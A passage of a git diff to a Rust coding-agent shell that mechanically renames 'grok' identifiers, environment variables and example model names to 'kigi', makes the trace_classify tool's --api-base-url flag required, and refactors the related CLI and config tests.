         assert_eq!(cli.model, "bar");
-        assert_eq!(cli.api_base_url, "https://api.x.ai/v1");
+        assert_eq!(cli.api_base_url, "https://byok.example/v1");
         assert!(cli.output.is_none());
         assert!(cli.api_key.is_none());
         assert!(cli.min_confidence.is_none());
@@ -123,45 +134,54 @@ mod tests {
         assert!(cli.kigi_home.is_none());
     }
 
+    /// Fail fast: the BYOK path has no default endpoint, so omitting
+    /// `--api-base-url` must be a parse error that names the flag.
+    #[test]
+    fn cli_requires_api_base_url() {
+        let err = Cli::try_parse_from(["trace_classify", "--trace", "foo.json"])
+            .expect_err("missing --api-base-url");
+        let msg = err.to_string();
+        assert!(
+            msg.contains("--api-base-url"),
+            "error mentions --api-base-url: {msg}"
+        );
+    }
+
     /// Per-model knob (mirrored as a CLI override on the offline tool):
     /// `--include-reasoning true` and `--include-reasoning false` both
     /// parse; absent → `None` so the harness default applies.
     #[test]
     fn cli_include_reasoning_override_parses() {
-        let cli_true = Cli::try_parse_from([
-            "trace_classify",
-            "--trace",
-            "foo.json",
-            "--include-reasoning",
-            "true",
-        ])
+        let cli_true = Cli::try_parse_from(
+            BASE_ARGS
+                .iter()
+                .copied()
+                .chain(["--include-reasoning", "true"]),
+        )
         .expect("parse true");
         assert_eq!(cli_true.include_reasoning, Some(true));
 
-        let cli_false = Cli::try_parse_from([
-            "trace_classify",
-            "--trace",
-            "foo.json",
-            "--include-reasoning",
-            "false",
-        ])
+        let cli_false = Cli::try_parse_from(
+            BASE_ARGS
+                .iter()
+                .copied()
+                .chain(["--include-reasoning", "false"]),
+        )
         .expect("parse false");
         assert_eq!(cli_false.include_reasoning, Some(false));
 
-        let cli_absent =
-            Cli::try_parse_from(["trace_classify", "--trace", "foo.json"]).expect("parse absent");
+        let cli_absent = Cli::try_parse_from(BASE_ARGS).expect("parse absent");
         assert!(cli_absent.include_reasoning.is_none());
     }
 
     #[test]
     fn cli_kigi_home_override_parses() {
-        let cli = Cli::try_parse_from([
-            "trace_classify",
-            "--trace",
-            "foo.json",
-            "--kigi-home",
-            "/tmp/scratch-kigi",
-        ])
+        let cli = Cli::try_parse_from(
+            BASE_ARGS
+                .iter()
+                .copied()
+                .chain(["--kigi-home", "/tmp/scratch-kigi"]),
+        )
         .expect("parse");
         assert_eq!(cli.kigi_home, Some(PathBuf::from("/tmp/scratch-kigi")));
     }
@@ -186,8 +206,8 @@ mod tests {
                 .map(|v| v.to_string_lossy().into_owned())
                 .collect::<Vec<_>>()
         };
-        assert_eq!(by_id("model"), vec!["grok-4.5"]);
-        assert_eq!(by_id("api_base_url"), vec!["https://api.x.ai/v1"]);
+        assert_eq!(by_id("model"), vec!["kimi-for-coding"]);
+        assert!(by_id("api_base_url").is_empty(), "no default BYOK endpoint");
         assert!(by_id("min_confidence").is_empty(), "no default");
         assert!(by_id("include_reasoning").is_empty(), "no default");
     }
@@ -195,13 +215,12 @@ mod tests {
     /// F6 — `--min-confidence 0.5` parses and lands in `RunArgs`.
     #[test]
     fn cli_min_confidence_override_parses() {
-        let cli = Cli::try_parse_from([
-            "trace_classify",
-            "--trace",
-            "foo.json",
-            "--min-confidence",
-            "0.42",
-        ])
+        let cli = Cli::try_parse_from(
+            BASE_ARGS
+                .iter()
+                .copied()
+                .chain(["--min-confidence", "0.42"]),
+        )
         .expect("parse");
         assert_eq!(cli.min_confidence, Some(0.42));
     }
@@ -214,7 +233,7 @@ mod tests {
     fn cli_min_confidence_rejects_bad_values() {
         for bad in ["1.5", "-0.1", "nan", "inf", "not-a-float"] {
             let arg = format!("--min-confidence={bad}");
-            let err = Cli::try_parse_from(["trace_classify", "--trace", "foo.json", arg.as_str()])
+            let err = Cli::try_parse_from(BASE_ARGS.iter().copied().chain([arg.as_str()]))
                 .expect_err(bad);
             // Parsing failed — that's all we need. Exact error text
             // is clap-version-dependent.
diff --git a/crates/codegen/kigi-shell/src/claude_import.rs b/crates/codegen/kigi-shell/src/claude_import.rs
index 1d790b5..1a7050d 100644
--- a/crates/codegen/kigi-shell/src/claude_import.rs
+++ b/crates/codegen/kigi-shell/src/claude_import.rs
@@ -1451,7 +1451,7 @@ mod tests {
             reset_marker_cache_for_test();
             // Also clear the workspace-side env-var override so it doesn't
             // leak into subsequent tests.
-            unsafe { std::env::remove_var("_GROK_CLAUDE_MARKER_OVERRIDE") };
+            unsafe { std::env::remove_var("_KIGI_CLAUDE_MARKER_OVERRIDE") };
         }
     }
 
@@ -1649,7 +1649,7 @@ mod tests {
         // cannot see the shell-side marker cache. Set the env-var override so
         // the workspace-resident marker reader honours the gate; without it
         // the function would read the developer's real ~/.claude settings.
-        unsafe { std::env::set_var("_GROK_CLAUDE_MARKER_OVERRIDE", "1") };
+        unsafe { std::env::set_var("_KIGI_CLAUDE_MARKER_OVERRIDE", "1") };
         let dir = tempfile::tempdir().unwrap();
         let env = kigi_workspace::permission::claude_settings::load_claude_env_with_project(
             dir.path(),
@@ -2167,7 +2167,7 @@ extra_rule_dirs = ["/c/rules"]
         refresh_marker_cache(true);
         // Also set the env-var override so the workspace-resident marker
         // reader (which can't see the shell-side cache) honours the gate.
-        unsafe { std::env::set_var("_GROK_CLAUDE_MARKER_OVERRIDE", "1") };
+        unsafe { std::env::set_var("_KIGI_CLAUDE_MARKER_OVERRIDE", "1") };
         let dir = tempfile::tempdir().unwrap();
         // Drop a Claude permissions file in the tempdir; with the marker set
         // the gate should skip reading it.
diff --git a/crates/codegen/kigi-shell/src/cli_models.rs b/crates/codegen/kigi-shell/src/cli_models.rs
index 976ef9f..ae0d13a 100644
--- a/crates/codegen/kigi-shell/src/cli_models.rs
+++ b/crates/codegen/kigi-shell/src/cli_models.rs
@@ -1,4 +1,4 @@
-//! Data APIs for `grok models`. Clients own display.
+//! Data APIs for `kigi models`. Clients own display.
 
 use agent_client_protocol as acp;
 use anyhow::Result;
@@ -6,11 +6,11 @@ use kigi_acp_lib::{AcpAgentTx, acp_send};
 
 use crate::agent::config::Config as AgentConfig;
 
-/// Status for the `grok models` banner (display order ≠ sampling priority; see [`AuthStatus::resolve`]).
+/// Status for the `kigi models` banner (display order ≠ sampling priority; see [`AuthStatus::resolve`]).
 #[derive(Debug, PartialEq, Eq)]
 pub enum AuthStatus {
     ApiKey,
-    /// Auth host from `grok_ws_origin` (scheme stripped).
+    /// Auth host from `kigi_ws_origin` (scheme stripped).
     LoggedIn(String),
     /// Catalog key of the first model with own `api_key`/`env_key`.
     ModelCredentials(String),
diff --git a/crates/codegen/kigi-shell/src/config/mod.rs b/crates/codegen/kigi-shell/src/config/mod.rs
index 4bf8c38..cf53054 100644
--- a/crates/codegen/kigi-shell/src/config/mod.rs
+++ b/crates/codegen/kigi-shell/src/config/mod.rs
@@ -230,8 +230,8 @@ pub struct SubagentsConfig {
     ///
     /// ```toml
     /// [subagents.models]
-    /// explore = "grok-3-fast"
-    /// plan = "grok-3"
+    /// explore = "kigi-3-fast"
+    /// plan = "kigi-3"
     /// ```
     #[serde(default)]
     pub models: std::collections::HashMap<String, String>,
@@ -252,7 +252,7 @@ pub struct SubagentsConfig {
     /// [subagents.roles.researcher]
     /// description = "Deep research agent"
     /// default_capability_mode = "read-only"
-    /// model = "grok-3"
+    /// model = "kigi-3"
     ///
     /// [subagents.roles.implementer]
     /// description = "Implementation agent with full access"
@@ -735,7 +735,7 @@ fn walk_toml(
     }
 }
 /// The `[skills]` table from an effective config, shared by the reload
-/// dispatch and `grok inspect`.
+/// dispatch and `kigi inspect`.
 pub(crate) use crate::config::reloader::parse_skills_config;
 /// Effective config: layers + campaign overlay (remote cache + `KIGI_CAMPAIGNS_OVERRIDE`).
 pub use crate::util::config::load_effective_config;
@@ -946,9 +946,9 @@ fn apply_requirements_inner(
     enforce_str!("cli", "channel", config.cli.channel);
     enforce_str!("cli", "minimum_version", config.cli.minimum_version);
     if let Some(val) = req_str(req, "endpoints", "api_base_url")
-        && config.endpoints.api_base_url != val
+        && config.endpoints.api_base_url.as_deref() != Some(val)
     {
-        config.endpoints.api_base_url = val.to_owned();
+        config.endpoints.api_base_url = Some(val.to_owned());
         push("endpoints.api_base_url", val.to_owned());
     }
     if let Some(val) = req_str(req, "endpoints", "coding_api_base_url")
@@ -1128,7 +1128,7 @@ pub use kigi_workspace::project_config::find_project_configs;
 /// ([`find_project_configs`], extending `paths` and `disabled`) plus the
 /// imported `enabledPlugins` merge.
 ///
-/// Shared by `reload_plugins_impl`, `x.ai/commands/list`, and the agent's
+/// Shared by `reload_plugins_impl`, `kigi/commands/list`, and the agent's
 /// eager plugin-registry fan-out so all three discover the same plugins for a
 /// given cwd. Centralizing it prevents the paths/disabled/discovered-command
 /// drift those callers would otherwise accumulate.
diff --git a/crates/codegen/kigi-shell/src/config/reloader.rs b/crates/codegen/kigi-shell/src/config/reloader.rs
index 0baa59f..002a721 100644
--- a/crates/codegen/kigi-shell/src/config/reloader.rs
+++ b/crates/codegen/kigi-shell/src/config/reloader.rs
@@ -44,7 +44,7 @@ pub enum ConfigUpdate {
     /// Strictly additive to [`Self::McpServersChanged`] — the unit
     /// variant continues to fire for global-config edits. The two
     /// cases are split so per-project reloads don't
-    /// grok process sharing the home dir). The agent should consult the cache
+    /// kigi process sharing the home dir). The agent should consult the cache
     /// thrash unrelated sessions.
     ProjectMcpServersChanged {
         /// The project root whose `.kigi/`, `.mcp.json`, or
@@ -70,7 +70,7 @@ pub enum ConfigUpdate {
     /// drop redundant `ProjectMcpServersChanged` dispatches on
     /// the reloader doesn't have.
     ModelsCacheChanged,
-    /// Updated UI settings — agent broadcasts `x.ai/config_changed` to IPC clients.
+    /// Updated UI settings — agent broadcasts `kigi/config_changed` to IPC clients.
     Ui {
         theme: Option<String>,
         yolo: bool,
@@ -494,7 +494,7 @@ pub(crate) fn hash_auth_key(key: &str) -> u64 {
 /// Extract the `[skills]` table from an effective config.
 ///
 /// Consumers: the reload dispatch above (change detection →
-/// `ConfigUpdate::Skills`) and `grok inspect` (via the `crate::config`
+/// `ConfigUpdate::Skills`) and `kigi inspect` (via the `crate::config`
 /// re-export), so both honor the same paths/ignore/disabled as a live
 /// session. Session spawn parses the same table separately through the typed
 /// `Config.skills` (agent/config.rs) — keep these in sync rather than adding
@@ -906,14 +906,14 @@ ignore = ["/tmp"]
 [ui]
 theme = "dark"
 yolo = true
-fork_secondary_model = "grok-4.5"
+fork_secondary_model = "kigi-4.5"
 "#,
         )
         .unwrap();
         let (theme, yolo, fork) = extract_ui_fields(&config);
         assert_eq!(theme.as_deref(), Some("dark"));
         assert!(yolo);
-        assert_eq!(fork.as_deref(), Some("grok-4.5"));
+        assert_eq!(fork.as_deref(), Some("kigi-4.5"));
     }
 
     #[test]
@@ -936,7 +936,7 @@ fork_secondary_model = "grok-4.5"
         let b: toml::Value = toml::from_str(
             r#"
 [model.my-custom]
-model = "grok-4.5"
+model = "kigi-4.5"
 base_url = "https://api.example.com/v1"
 "#,
         )
@@ -946,8 +946,8 @@ base_url = "https://api.example.com/v1"
 
     #[test]
     fn models_changed_detects_default_change() {
-        let a: toml::Value = toml::from_str("[models]\ndefault = \"grok-code-fast-1\"").unwrap();
-        let b: toml::Value = toml::from_str("[models]\ndefault = \"grok-code-slow-1\"").unwrap();
+        let a: toml::Value = toml::from_str("[models]\ndefault = \"kigi-code-fast-1\"").unwrap();
+        let b: toml::Value = toml::from_str("[models]\ndefault = \"kigi-code-slow-1\"").unwrap();
         assert_ne!(a.get("models"), b.get("models"));
     }
 
diff --git a/crates/codegen/kigi-shell/src/config/tests.rs b/crates/codegen/kigi-shell/src/config/tests.rs
index 3884597..573144c 100644
--- a/crates/codegen/kigi-shell/src/config/tests.rs
+++ b/crates/codegen/kigi-shell/src/config/tests.rs
@@ -111,18 +111,18 @@ fn with_env_var_opt<T>(name: &str, value: Option<&str>, f: impl FnOnce() -> T) -
     result.unwrap_or_else(|p| std::panic::resume_unwind(p))
 }
 /// Run `f` with KIGI_MEMORY explicitly unset.
-fn without_grok_memory<T>(f: impl FnOnce() -> T) -> T {
+fn without_kigi_memory<T>(f: impl FnOnce() -> T) -> T {
     let _guard = MEMORY_ENV_LOCK.lock().unwrap_or_else(|e| e.into_inner());
     with_env_var_opt("KIGI_MEMORY", None, f)
 }
 /// Run `f` with KIGI_MEMORY set to a specific value.
-fn with_grok_memory<T>(value: &str, f: impl FnOnce() -> T) -> T {
+fn with_kigi_memory<T>(value: &str, f: impl FnOnce() -> T) -> T {
     let _guard = MEMORY_ENV_LOCK.lock().unwrap_or_else(|e| e.into_inner());
     with_env_var_opt("KIGI_MEMORY", Some(value), f)
 }
 #[test]
 fn memory_config_default_disabled() {
-    without_grok_memory(|| {
+    without_kigi_memory(|| {
         let config = toml::Value::Table(toml::map::Map::new());
         let mem = MemoryConfig::resolve(false, false, &config, None);
         assert!(! mem.enabled);
@@ -130,7 +130,7 @@ fn memory_config_default_disabled() {
 }
 #[test]
 fn memory_config_cli_flag_enables() {
-    without_grok_memory(|| {
+    without_kigi_memory(|| {
         let config = toml::Value::Table(toml::map::Map::new());
         let mem = MemoryConfig::resolve(true, false, &config, None);
         assert!(mem.enabled);
@@ -138,7 +138,7 @@ fn memory_config_cli_flag_enables() {
 }
 #[test]
 fn memory_config_from_toml() {
-    without_grok_memory(|| {
+    without_kigi_memory(|| {
         let config: toml::Value = toml::from_str("[memory]\nenabled = true").unwrap();
         let mem = MemoryConfig::resolve(false, false, &config, None);
         assert!(mem.enabled);
@@ -146,7 +146,7 @@ fn memory_config_from_toml() {
 }
 #[test]
 fn memory_config_toml_disabled() {
-    without_grok_memory(|| {
+    without_kigi_memory(|| {
         let config: toml::Value = toml::from_str("[memory]\nenabled = false").unwrap();
         let mem = MemoryConfig::resolve(false, false, &config, None);
         assert!(! mem.enabled);
@@ -154,7 +154,7 @@ fn memory_config_toml_disabled() {
 }
 #[test]
 fn memory_config_env_var_enables() {
-    with_grok_memory(
+    with_kigi_memory(
         "1",
         || {
             let config = toml::Value::Table(toml::map::Map::new());
@@ -165,7 +165,7 @@ fn memory_config_env_var_enables() {
 }
 #[test]
 fn memory_config_env_var_true_enables() {
-    with_grok_memory(
+    with_kigi_memory(
         "true",
         || {
             let config = toml::Value::Table(toml::map::Map::new());
@@ -176,7 +176,7 @@ fn memory_config_env_var_true_enables() {
 }
 #[test]
 fn memory_config_env_var_zero_does_not_enable() {
-    with_grok_memory(
+    with_kigi_memory(
         "0",
         || {
             let config = toml::Value::Table(toml::map::Map::new());
@@ -187,7 +187,7 @@ fn memory_config_env_var_zero_does_not_enable() {
 }
 #[test]
 fn memory_config_env_var_false_does_not_enable() {
-    with_grok_memory(
+    with_kigi_memory(
         "false",
         || {
             let config = toml::Value::Table(toml::map::Map::new());
@@ -198,7 +198,7 @@ fn memory_config_env_var_false_does_not_enable() {
 }
 #[test]
 fn memory_config_cli_overrides_toml_disabled() {
-    without_grok_memory(|| {
+    without_kigi_memory(|| {
         let config: toml::Value = toml::from_str("[memory]\nenabled = false").unwrap();
         let mem = MemoryConfig::resolve(true, false, &config, None);
         assert!(mem.enabled, "CLI flag should override config file");
@@ -206,7 +206,7 @@ fn memory_config_cli_overrides_toml_disabled() {
 }
 #[test]
 fn memory_config_env_zero_force_disables_toml_enabled() {
-    with_grok_memory(
+    with_kigi_memory(
         "0",
         || {
             let config: toml::Value = toml::from_str("[memory]\nenabled = true")
@@ -221,7 +221,7 @@ fn memory_config_env_zero_force_disables_toml_enabled() {
 }
 #[test]
 fn memory_config_env_false_force_disables_toml_enabled() {
-    with_grok_memory(
+    with_kigi_memory(
         "false",
         || {
             let config: toml::Value = toml::from_str("[memory]\nenabled = true")
@@ -236,7 +236,7 @@ fn memory_config_env_false_force_disables_toml_enabled() {
 }
 #[test]
 fn memory_config_cli_flag_overrides_env_disable() {
-    with_grok_memory(
+    with_kigi_memory(
         "0",
         || {
             let config = toml::Value::Table(toml::map::Map::new());
@@ -249,7 +249,7 @@ fn memory_config_cli_flag_overrides_env_disable() {
 }
 #[test]
 fn memory_config_no_memory_overrides_all() {
-    with_grok_memory(
+    with_kigi_memory(
         "1",
         || {
             let config: toml::Value = toml::from_str("[memory]\nenabled = true")
@@ -264,7 +264,7 @@ fn memory_config_no_memory_overrides_all() {
 }
 #[test]
 fn memory_config_no_memory_alone_disables() {
-    without_grok_memory(|| {
+    without_kigi_memory(|| {
         let config = toml::Value::Table(toml::map::Map::new());
         let mem = MemoryConfig::resolve(false, true, &config, None);
         assert!(! mem.enabled, "--no-memory alone should disable");
@@ -272,7 +272,7 @@ fn memory_config_no_memory_alone_disables() {
 }
 #[test]
 fn memory_config_no_memory_overrides_env_enable() {
-    with_grok_memory(
+    with_kigi_memory(
         "1",
         || {
             let config = toml::Value::Table(toml::map::Map::new());
@@ -283,7 +283,7 @@ fn memory_config_no_memory_overrides_env_enable() {
 }
 #[test]
 fn memory_config_no_memory_overrides_toml_enabled() {
-    without_grok_memory(|| {
+    without_kigi_memory(|| {
         let config: toml::Value = toml::from_str("[memory]\nenabled = true").unwrap();
         let mem = MemoryConfig::resolve(false, true, &config, None);
         assert!(! mem.enabled, "--no-memory should override TOML enabled=true");
@@ -291,7 +291,7 @@ fn memory_config_no_memory_overrides_toml_enabled() {
 }
 #[test]
 fn memory_config_no_memory_overrides_remote_enabled() {
-    without_grok_memory(|| {
+    without_kigi_memory(|| {
         let config = toml::Value::Table(toml::map::Map::new());
         let remote = crate::util::config::RemoteSettings {
             memory_enabled: Some(true),
@@ -303,7 +303,7 @@ fn memory_config_no_memory_overrides_remote_enabled() {
 }
 #[test]
 fn memory_config_defaults_are_correct() {
-    without_grok_memory(|| {
+    without_kigi_memory(|| {
         let config = toml::Value::Table(toml::map::Map::new());
         let mem = MemoryConfig::resolve(false, false, &config, None);
         assert_eq!(mem.index.max_chunk_chars, 1600);
@@ -352,7 +352,7 @@ fn memory_config_defaults_are_correct() {
 /// (unknown fields are silently ignored by serde default).
 #[test]
 fn memory_config_watcher_debounce_ms_in_toml_is_silently_ignored() {
-    without_grok_memory(|| {
+    without_kigi_memory(|| {
         let toml_str = "[memory.watcher]\nenabled = true\ndebounce_ms = 2000\n";
         let config: toml::Value = toml::from_str(toml_str).unwrap();
         let mem = MemoryConfig::resolve(false, false, &config, None);
@@ -362,7 +362,7 @@ fn memory_config_watcher_debounce_ms_in_toml_is_silently_ignored() {
 }
 #[test]
 fn memory_config_full_toml_parsing() {
-    without_grok_memory(|| {
+    without_kigi_memory(|| {
         let toml_str = r#"
 [memory]
 enabled = true
@@ -402,7 +402,7 @@ save_on_end = false
 [compaction.memory_flush]
 enabled = false
 soft_threshold_tokens = 8000
-flush_model = "grok-4"
+flush_model = "kigi-4"
 max_flush_write_chars = 16000
 idle_timeout_secs = 300
 semantic_dedup_threshold = 0.85
@@ -433,7 +433,7 @@ hard_clear_age_turns = 20
         assert!(! mem.session.save_on_end);
         assert!(! mem.flush.enabled);
         assert_eq!(mem.flush.soft_threshold_tokens, 8000);
-        assert_eq!(mem.flush.flush_model.as_deref(), Some("grok-4"));
+        assert_eq!(mem.flush.flush_model.as_deref(), Some("kigi-4"));
         assert_eq!(mem.flush.max_flush_write_chars, 16000);
         assert_eq!(mem.flush.idle_timeout_secs, Some(300));
         assert_eq!(mem.flush.semantic_dedup_threshold, Some(0.85));
@@ -444,7 +444,7 @@ hard_clear_age_turns = 20
 }
 #[test]
 fn memory_config_partial_toml_uses_defaults_for_missing() {
-    without_grok_memory(|| {
+    without_kigi_memory(|| {
         let toml_str = r#"
 [memory]
 enabled = true
@@ -465,7 +465,7 @@ max_chunk_chars = 3200
 }
 #[test]
 fn memory_config_remote_settings_enable() {
-    without_grok_memory(|| {
+    without_kigi_memory(|| {
         let config = toml::Value::Table(toml::map::Map::new());
         let remote = crate::util::config::RemoteSettings {
             memory_enabled: Some(true),
@@ -477,7 +477,7 @@ fn memory_config_remote_settings_enable() {
 }
 #[test]
 fn memory_config_remote_settings_pruning() {
-    without_grok_memory(|| {
+    without_kigi_memory(|| {
         let config = toml::Value::Table(toml::map::Map::new());
         let remote = crate::util::config::RemoteSettings {
             pruning_enabled: Some(true),
@@ -491,7 +491,7 @@ fn memory_config_remote_settings_pruning() {
 }
 #[test]
 fn memory_config_remote_settings_initial_injection() {
-    without_grok_memory(|| {
+    without_kigi_memory(|| {
         let config = toml::Value::Table(toml::map::Map::new());
         let remote = crate::util::config::RemoteSettings {
             memory_initial_injection_enabled: Some(false),
@@ -505,7 +505,7 @@ fn memory_config_remote_settings_initial_injection() {
 }
 #[test]
 fn memory_config_local_initial_injection_overrides_remote() {
-    without_grok_memory(|| {
+    without_kigi_memory(|| {
         let toml_str = r#"
 [memory.initial_injection]
 enabled = true
@@ -524,7 +524,7 @@ min_score = 0.25
 }
 #[test]
 fn memory_config_local_disabled_blocks_remote_enable() {
-    without_grok_memory(|| {
+    without_kigi_memory(|| {
         let config: toml::Value = toml::from_str("[memory]\nenabled = false").unwrap();
         let remote = crate::util::config::RemoteSettings {
             memory_enabled: Some(true),
@@ -538,7 +538,7 @@ fn memory_config_local_disabled_blocks_remote_enable() {
 }
 #[test]
 fn memory_config_local_overrides_remote() {
-    without_grok_memory(|| {
+    without_kigi_memory(|| {
         let toml_str = r#"
 [memory.search]
 max_results = 20
@@ -554,7 +554,7 @@ max_results = 20
 }
 #[test]
 fn memory_config_remote_none_is_noop() {
-    without_grok_memory(|| {
+    without_kigi_memory(|| {
         let config = toml::Value::Table(toml::map::Map::new());
         let mem_without = MemoryConfig::resolve(false, false, &config, None);
         let mem_with_empty = MemoryConfig::resolve(
@@ -569,7 +569,7 @@ fn memory_config_remote_none_is_noop() {
 }
 #[test]
 fn flush_semantic_dedup_threshold_from_remote_when_no_local_flush() {
-    without_grok_memory(|| {
+    without_kigi_memory(|| {
         let config = toml::Value::Table(toml::map::Map::new());
         let remote = crate::util::config::RemoteSettings {
             flush_semantic_dedup_threshold: Some(0.85),
@@ -584,7 +584,7 @@ fn flush_semantic_dedup_threshold_from_remote_when_no_local_flush() {
 }
 #[test]
 fn flush_semantic_dedup_threshold_clamped_from_remote() {
-    without_grok_memory(|| {
+    without_kigi_memory(|| {
         let config = toml::Value::Table(toml::map::Map::new());
         let remote = crate::util::config::RemoteSettings {
             flush_semantic_dedup_threshold: Some(1.5),
@@ -608,7 +608,7 @@ fn flush_semantic_dedup_threshold_clamped_from_remote() {
 }
 #[test]
 fn flush_semantic_dedup_threshold_local_blocks_remote() {
-    without_grok_memory(|| {
+    without_kigi_memory(|| {
         let toml_str = r#"
 [compaction.memory_flush]
 enabled = true
@@ -628,7 +628,7 @@ semantic_dedup_threshold = 0.88
 }
 #[test]
 fn flush_semantic_dedup_threshold_defaults_to_none() {
-    without_grok_memory(|| {
+    without_kigi_memory(|| {
         let config = toml::Value::Table(toml::map::Map::new());
         let mem = MemoryConfig::resolve(false, false, &config, None);
         assert_eq!(
@@ -639,7 +639,7 @@ fn flush_semantic_dedup_threshold_defaults_to_none() {
 }
 #[test]
 fn memory_dream_config_defaults() {
-    without_grok_memory(|| {
+    without_kigi_memory(|| {
         let config = toml::Value::Table(toml::map::Map::new());
         let mem = MemoryConfig::resolve(false, false, &config, None);
         assert!(mem.dream.enabled);
@@ -651,7 +651,7 @@ fn memory_dream_config_defaults() {
 }
 #[test]
 fn memory_dream_config_toml_parsing() {
-    without_grok_memory(|| {
+    without_kigi_memory(|| {
         let toml_str = r#"
 [memory.dream]
 enabled = true
@@ -671,7 +671,7 @@ check_interval_secs = 600
 }
 #[test]
 fn memory_dream_config_remote_override_when_toml_absent() {
-    without_grok_memory(|| {
+    without_kigi_memory(|| {
         let config = toml::Value::Table(toml::map::Map::new());
         let remote = crate::util::config::RemoteSettings {
             dream_enabled: Some(true),
@@ -690,7 +690,7 @@ fn memory_dream_config_remote_override_when_toml_absent() {
 }
 #[test]
 fn memory_dream_config_remote_ignored_when_toml_present() {
-    without_grok_memory(|| {
+    without_kigi_memory(|| {
         let toml_str = r#"
 [memory.dream]
 enabled = false
@@ -853,7 +853,7 @@ fn effective_half_life_disabled_legacy_recency_out_of_range_ignored() {
 }
 #[test]
 fn mmr_lambda_clamped_above_one() {
-    without_grok_memory(|| {
+    without_kigi_memory(|| {
         let toml_str = r#"
 [memory]
 enabled = true
@@ -873,7 +873,7 @@ lambda = 2.0
 }
 #[test]
 fn mmr_lambda_clamped_below_zero() {
-    without_grok_memory(|| {
+    without_kigi_memory(|| {
         let toml_str = r#"
 [memory]
 enabled = true
@@ -893,7 +893,7 @@ lambda = -0.5
 }
 #[test]
 fn memory_config_remote_temporal_decay() {
-    without_grok_memory(|| {
+    without_kigi_memory(|| {
         let config = toml::Value::Table(toml::map::Map::new());
         let remote = crate::util::config::RemoteSettings {
             memory_temporal_decay_enabled: Some(false),
@@ -907,7 +907,7 @@ fn memory_config_remote_temporal_decay() {
 }
 #[test]
 fn memory_config_remote_mmr() {
-    without_grok_memory(|| {
+    without_kigi_memory(|| {
         let config = toml::Value::Table(toml::map::Map::new());
         let remote = crate::util::config::RemoteSettings {
             memory_mmr_enabled: Some(true),
@@ -921,7 +921,7 @@ fn memory_config_remote_mmr() {
 }
 #[test]
 fn memory_config_remote_mmr_lambda_clamped() {
-    without_grok_memory(|| {
+    without_kigi_memory(|| {
         let config = toml::Value::Table(toml::map::Map::new());
         let remote = crate::util::config::RemoteSettings {
             memory_mmr_lambda: Some(5.0),
@@ -936,7 +936,7 @@ fn memory_config_remote_mmr_lambda_clamped() {
 }
 #[test]
 fn memory_config_local_search_blocks_remote_temporal_decay_and_mmr() {
-    without_grok_memory(|| {
+    without_kigi_memory(|| {
         let toml_str = r#"
 [memory.search]
 max_results = 8
@@ -962,18 +962,18 @@ max_results = 8
 /// Mutex to serialize tests that touch the KIGI_SUBAGENTS env var.
 static SUBAGENTS_ENV_LOCK: std::sync::Mutex<()> = std::sync::Mutex::new(());
 /// Run `f` with KIGI_SUBAGENTS explicitly unset.
-fn without_grok_subagents<T>(f: impl FnOnce() -> T) -> T {
+fn without_kigi_subagents<T>(f: impl FnOnce() -> T) -> T {
     let _guard = SUBAGENTS_ENV_LOCK.lock().unwrap_or_else(|e| e.into_inner());
     with_env_var_opt("KIGI_SUBAGENTS", None, f)
 }
 /// Run `f` with KIGI_SUBAGENTS set to a specific value.
-fn with_grok_subagents<T>(value: &str, f: impl FnOnce() -> T) -> T {
+fn with_kigi_subagents<T>(value: &str, f: impl FnOnce() -> T) -> T {
     let _guard = SUBAGENTS_ENV_LOCK.lock().unwrap_or_else(|e| e.into_inner());
     with_env_var_opt("KIGI_SUBAGENTS", Some(value), f)
 }
 #[test]
 fn subagents_config_default_enabled() {
-    without_grok_subagents(|| {
+    without_kigi_subagents(|| {
         let config = toml::Value::Table(toml::map::Map::new());
         let sa = SubagentsConfig::resolve(false, &config, None);
         assert!(sa.enabled);
@@ -981,7 +981,7 @@ fn subagents_config_default_enabled() {
 }
 #[test]
 fn subagents_config_cli_flag_enables() {
-    without_grok_subagents(|| {
+    without_kigi_subagents(|| {
         let config = toml::Value::Table(toml::map::Map::new());
         let sa = SubagentsConfig::resolve(true, &config, None);
         assert!(sa.enabled);
@@ -989,7 +989,7 @@ fn subagents_config_cli_flag_enables() {
 }
 #[test]
 fn subagents_config_env_var_enables() {
-    with_grok_subagents(
+    with_kigi_subagents(
         "1",
         || {
             let config = toml::Value::Table(toml::map::Map::new());
@@ -1000,7 +1000,7 @@ fn subagents_config_env_var_enables() {
 }
 #[test]
 fn subagents_config_env_var_disables() {
-    with_grok_subagents(
+    with_kigi_subagents(
         "0",
         || {
             let config: toml::Value = toml::from_str("[subagents]\nenabled = true")
@@ -1012,7 +1012,7 @@ fn subagents_config_env_var_disables() {
 }
 #[test]
 fn subagents_config_toml_enables() {
-    without_grok_subagents(|| {
+    without_kigi_subagents(|| {
         let config: toml::Value = toml::from_str("[subagents]\nenabled = true").unwrap();
         let sa = SubagentsConfig::resolve(false, &config, None);
         assert!(sa.enabled);
@@ -1020,7 +1020,7 @@ fn subagents_config_toml_enables() {
 }
 #[test]
 fn subagents_config_local_disabled_wins() {
-    without_grok_subagents(|| {
+    without_kigi_subagents(|| {
         let config: toml::Value = toml::from_str("[subagents]\nenabled = false")
             .unwrap();
         let sa = SubagentsConfig::resolve(false, &config, None);
@@ -1029,7 +1029,7 @@ fn subagents_config_local_disabled_wins() {
 }
 #[test]
 fn subagents_config_env_var_disables_default() {
-    with_grok_subagents(
+    with_kigi_subagents(
         "0",
         || {
             let config = toml::Value::Table(toml::map::Map::new());
@@ -1044,7 +1044,7 @@ fn subagents_config_env_var_disables_default() {
 /// as an unknown key and have no effect on resolution.
 #[test]
 fn subagents_config_remote_settings_key_is_ignored() {
-    without_grok_subagents(|| {
+    without_kigi_subagents(|| {
         let _settings: crate::util::config::RemoteSettings = serde_json::from_str(
                 r#"{"subagents_enabled": false}"#,
             )
@@ -1056,7 +1056,7 @@ fn subagents_config_remote_settings_key_is_ignored() {
 }
 #[test]
 fn subagents_config_cli_flag_overrides_env_var() {
-    with_grok_subagents(
+    with_kigi_subagents(
         "0",
         || {
             let config = toml::Value::Table(toml::map::Map::new());
@@ -1067,28 +1067,28 @@ fn subagents_config_cli_flag_overrides_env_var() {
 }
 #[test]
 fn subagents_config_models_parsed() {
-    without_grok_subagents(|| {
+    without_kigi_subagents(|| {
         let config: toml::Value = toml::from_str(
                 r#"
                 [subagents]
                 enabled = true
 
                 [subagents.models]
-                explore = "grok-3-fast"
-                plan = "grok-4.5"
+                explore = "kigi-3-fast"
+                plan = "kigi-4.5"
                 "#,
             )
             .unwrap();
         let sa = SubagentsConfig::resolve(false, &config, None);
         assert!(sa.enabled);
         assert_eq!(sa.models.len(), 2);
-        assert_eq!(sa.models.get("explore").unwrap(), "grok-3-fast");
